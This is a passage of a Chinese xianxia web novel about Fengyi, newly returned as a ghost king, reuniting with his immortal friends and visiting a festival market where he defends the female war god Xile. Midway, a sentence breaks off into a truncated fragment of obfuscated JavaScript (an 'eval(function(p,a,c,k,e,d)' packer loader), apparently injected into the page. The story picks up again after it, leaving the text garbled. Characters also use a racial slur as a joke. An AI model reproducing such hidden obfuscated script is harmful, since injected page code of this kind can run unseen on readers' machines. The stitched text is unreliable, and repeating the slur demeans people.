话音落下,惊起了几只飞鸟,却始终没有得到那人的半点回应,只余明祈的回音在山顶回荡。 几个人都沉默了,他们心中都憋着一股气。 须臾,就连一向雅正理智的弥祯也忍不住放声骂道:“枫弋!我看你枉担鬼王之名,你就是那脱缰的劣马,别的不行,添乱第一名!你是脑子摔坏了,把‘缺心眼’当天赋异禀培养了?你要是再不出现,就哪凉快哪待着去吧.......” “真难得,还能听到弥祯骂人。看来你们是真挺想我的。” 未见其人,先闻其声。 母依道:“枫弋,你小子当了鬼王了不起是吧。再不现身,你这辈子都别想吃到遥岐做的饭!” “别呀别呀!我这不是跟你们开玩笑呢嘛。” 话音刚落,枫弋立时出现在众人面前,大笑道:“哈哈!诸位好久不见,想我了吗?我回来啦!” “......” 众人一愣。 黑衣不变,可这黑皮卷发,还有这从上到下,从里到外透着的骚气是怎么回事? 明祈:“你哪位?” 云湘:“枫弋的手下?” 弥祯:“这是枫弋?” 虞致:“他用易容术了吗?” 遥岐、母依:“你还真变鬼了,还是个黑鬼。” “......” 枫弋有些无语道:“你们真的是我的朋友吗?” 明祈和遥岐对视一眼,掌心同时运起一道法力,迅速朝枫弋飞去。 枫弋大惊道:“你们这是干什么?!”与此同时,枫弋闪身躲过,自知理亏,并未还手。 可那两人却不准备放过他,一击未中,那就再来,其余四人则退至一旁看戏。 从他们相识开始,枫弋虽然面上是一副生人勿进的冰块脸,以为是个稳重的,可实际却是个天不怕地不怕,不服就要干一架的主。生可两肋插刀,死可抛头洒血。他就像一匹烈性十足的野马,我行我素,不受束缚。这不要命的劲儿,当初可是招来不少仇家。 枫弋从前一个人野惯了,无牵无挂,自然也不顾及这些。可今时不同往日,他有了亲如家人的挚友,这般行事,怎能不教训一番? 明祈和遥岐一边打还不忘喊上自家夫人:“夫人快来啊!光我们俩打多没意思,咱们四个一起上!让他们俩给咱们加油助威!” 云湘和母依相视一笑,道:“正有此意。” 枫弋刚躲过明祈刺来的一剑,闻言惊道:“不是,你们来真的?” 云湘挥出一掌,道:“谁跟你玩假的!” 母依道:“你不是鬼王吗?那就让我们看看你的实力!” 话是这么说,可枫弋不敢更不会对自己的朋友出手,比试也不行。这次是他理亏,他心甘情愿承受,只守不攻。 一时间局面就变成了四个人追着他打,两人从旁观战。法力武器拳脚齐上阵,枫弋赤手空拳,连他的长斧都没用,打得他措手不及,这一架绝对是他有生以来最憋屈的一回。 枫弋心中叫苦不迭,早知今日,当初他说什么也该在进入三十三天关之前给他们报个信。 一炷香的时间过去了,这一架也打完了。四人也没尽全力,只是想给他个教训,枫弋却因为避让他们,体力生生被耗尽了。 弥祯和虞致在一旁看得正起劲,见他们停下了,只觉没尽兴。 弥祯意犹未尽地道:“怎么不打了?我和阿致还没看够呢。” 虞致也道:“听说他和那位女将军打架之前还喝酒嗑瓜子呢。真是可惜,难得出宫一回,早知道今天有好戏看,就应该备些酒肉吃食,让我们一次看个够啊。” 枫弋满头大汗,四仰八叉地躺倒在地,喘着气求饶道:“......几位神仙,几位祖宗,我错了!我再也不敢了......你们大人不记小人过,我都死了一回了,求放过啊......” 话音未落,明祈的声音从他的头顶传来,“枫弋,欢迎回家。” 弥祯的声音也随之而来,“枫弋,你还活着,真好。” 只有遥岐冷着脸没说话。 枫弋一睁开眼,就被朋友们一双双因为喜悦而红了的眼眸怔住了。不止喜悦,还有后悔,甚至心疼。他的心头忽然涌起一阵酸涩,那是一种难以名状的心情。 那一刻,他再一次无比清晰地确认,此生得遇一挚友已是难得,而他却拥有了六个。他就是这世上最幸运的人。 那日,枫弋兴致勃勃地向几人坦白自己是因何而死,又是如何进入了焱刹场成为了鬼王。本以为又会惹得朋友们一阵唏嘘感慨,得到的却是调侃嘲笑。 明祈道:“哈哈哈哈哈哈哈哈!以前怎么没发现你还有这等潜质呢,别人家的鬼王都死的惊天地泣鬼神的,你怎么死的这么随便。” 云湘道:“我可是听说那焱刹场没个十年百年的出不来,就是想进都未必进得去。你不仅轻而易举的进去了,还用了一年就修成了,你让其他人情何以堪啊?” 遥岐依旧冷着脸,道:“所以这就是帝君派人讨伐你的原因吗?” 此言一出,气氛瞬间凝重。 静默半晌,弥祯笑道:“我想那位帝君应该只是想看看枫弋的实力,毕竟他掌管鬼界多年,总要交到一个放心的人手里吧。” 枫弋哈哈笑了两声,道:“弥祯说的没错!你们别担心,我已经明确表示不会与天迦山为敌,我不会拿鬼界生灵开玩笑。更何况还有你们在那,我绝不会冲动行事的。” 话虽这么说,每个人的心里还是免不了担忧的。 天迦山各路神官众多,派系盘根错杂,他们四人一同飞升,声势浩大,本应是一桩美谈佳话。虽有帝君统领治下,但他们四人美名之外,免不了触及那些隐于暗处的,想要将他们取而代之的势力,即便他们已经足够低调了。 这时,天边降下一片晚霞,映在每个人的脸上,暖洋洋的,几只飞鸟成列飞过,勾勒出一幅多彩的画卷。 虞致指着那轮落日,道:“你们快看!像不像我们当年在凤鸣岭看到的落日晚霞。” 众人闻声望去,心中感慨无数回忆也涌上心间。 明祈道:“真怀念啊!” 弥祯道:“一晃我们都认识十多年了。” 遥岐道:“桃李春风一杯酒,江湖夜雨十年灯。” 母依靠在遥岐的肩头,道:“想回凤鸣岭了。” 十年初相识,十年人未归。 云湘笑道:“我们一定有机会再回去的!到时还是我们几个人,且歌且醉且徐行!” 虞致道:“那就说好了!如果这辈子不行,下辈子投胎转世我和夫君也一定会再去找你们的!” 弥祯牵起虞致的手,笑道:“当然,如果你们做神做鬼不开心,那就回家。有我和阿致罩着你们!” 枫弋突然站起身来,伸出一只手,道:“我与诸君情坚不悔,生死不散!” 众人起身,掌心交叠,齐声道:“情坚不悔,生死不散!” 夕阳下,三对璧人相依相偎,又剩枫弋一人形单影只。 换做往日,他定要嗤之以鼻一番。今日却不同,他的脑海中清晰地映出了一道热烈明媚的身影。 枫弋几不可察地笑了一声,他逃不掉了。 六月十三。弥兰节。仙家集会。 弥兰节本是现任帝君雁霄成为帝君的日子。 他曾是古国燕津的国师,一人之下万人之上,为国献策,无出其右。或许正是名头过盛,最终却惨遭奸人陷害,与国主离心,落得个五马分尸的下场。 那日,他的身体被随意丢弃在乱坟岗,被野狗分食。他的肢体早已失了感觉,只余那一双淡漠的双眼还倔强地睁着。就在野狗即将啃下他的眼睛时,天光骤现,天道允其飞升。 别的神官要想身居高位,总要耗费一番功夫,雁霄一上来就是文武兼具的全才,深受上一任帝君的器重。加之他本人品性高风亮节,行事作风与他在人间时别无二致,叫人挑不出一点毛病。况且他的飞升可说是众神官中最为惨烈的一个,故而天迦仙僚与人间信徒无不敬重钦佩。 飞升三年,先帝君陨落,毫无悬念,雁霄即位。 人们为了感谢并祝贺这位神明,在他成为帝君的这一天,人间各处自发地举办庆祝活动,甚至还有国家因此短暂休战。 雁霄不愿信徒铺张,反而率领众神官为人间百姓广施福祉,还将这一天定为节日。王朝更迭,瘟疫战争,这是不可避免的自然规律,但他希望在这一天,可以止戈平战,每个人都是幸福快乐的。 雁霄为这一天取名“弥兰”,时至今日,已延续了五百年之久。 在这一天,除了人间的庆贺活动,天迦山上也热闹得很。 除了固定为人间降福祉,神官们也会在山上举办争文斗武的比赛。文设在漆竹峰,武设在苍烛台,由雁霄亲自出题,比试在其次,旨在促进各神官之间的关系。 山下的集市也十分忙碌,各路店家制作了不同神官的雕刻、画像、横幅等物件,哪位神官的物件卖的最多,就意味着人们认为哪位神官的胜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这时,枫弋又被一新鲜事物吸引,目光定住片刻,朝那摊位跑去,边跑边招呼四人跟上,万一走失可就不好了。 四人哭笑不得,跟上前去,发现是一家卖雕刻的摊位,枫弋一眼就看见了刻着名字的四人的雕像。 枫弋随手拿起一个,低声道:“刻的倒是挺好的,怎么看着跟你们不太像啊?” 云湘笑道:“神仙样貌本就是靠人们杜撰,千人前面,不必强求。何况他们真正在意的是你灵不灵,样貌这东西,只要我们自己知道就好了。” 枫弋耸耸肩,忽然注意到角落里一个像是被刻意遗弃的雕像,做工也略显粗糙,甚至连名字都没有刻。枫弋快速扫了一眼其他的,便知他拿着的正是汐乐的雕像。 枫弋冷声道:“为何其他神官的雕像都刻得如此精美,偏偏这个刻得这般粗糙?” 摊主闻声看了一眼枫弋,被他的眼神吓了一跳,但还是赔笑道:“这您就有所不知了。这位虽是个武神,可到底是个女子,那神官们多为男子,她一介女流,就算法力高强,又能成什么气候?” 此话一出,枫弋面色一沉,四人的脸色也跟着变了。 母依正欲出言反驳,就听枫弋先道:“你说她一介女流难成气候。可她为人时是乞真部可一人御万马的公主,你能吗?” “她率领千军,英勇抗敌,飞升为神,你能吗?” “她一来就是武神,还是唯一的女武神,你能吗?” “她单枪匹马与鬼王对战之时,若是换成你,只怕是连魂都要吓没了。如此这般,又是谁给你的勇气敢随意指摘,甚至诋毁她的价值和名誉?” 此言一出,摊主心虚地低下头,不敢再看他。身后四人却是震惊又惊喜,他真的不一样了。 枫弋掏出一锭金子砸在桌上,道:“你们不是要选谁能赢得今年的比试吗?我就选她赢!”说完,便将那雕像用帕子仔细包好,离开了。 枫弋随四人上山,仙阁宫阙,小桥流水,灵兽飞禽,与方才人声鼎沸的人间集市相比,这里仿若进入了一片静谧悠然的世外桃源。 枫弋嗤笑一声,神色戏谑,道:“鎏金殿,白玉宫,这里还真是气派啊。” 四人听出他话中深意,笑而不语。 原本是要带枫弋去见帝君,恰巧迎面碰上了要去苍烛台提前准备的汐乐。 四人同她打招呼:“汐乐将军好啊。” 汐乐抱拳,淡声笑道:“几位仙僚好。” 枫弋越过四人,来到汐乐跟前,笑道:“想不到吧!我们真的再见了,汐乐。” 汐乐一怔,随即点了点头,面上没什么情绪,道:“嗯,又见面了。” 遥岐道:“汐乐将军可是要前往苍烛台?” 汐乐看向遥岐,道:“正是。” 遥岐正色道:“早闻将军盛名,今日承帝君的光,能有机会与将军切磋一番,我定会全力以赴。” 汐乐想起上次与枫弋的那一战,道:“如此最好。我也久闻天稷四君的大名,既如此,我们便在苍烛台见吧。” 说罢,汐乐正欲离开,被枫弋叫住:“汐乐等等!” 汐乐看向枫弋,道:“鬼王大人还有事?” 枫弋走到她身边,轻声道:“今日比试,我选你赢。”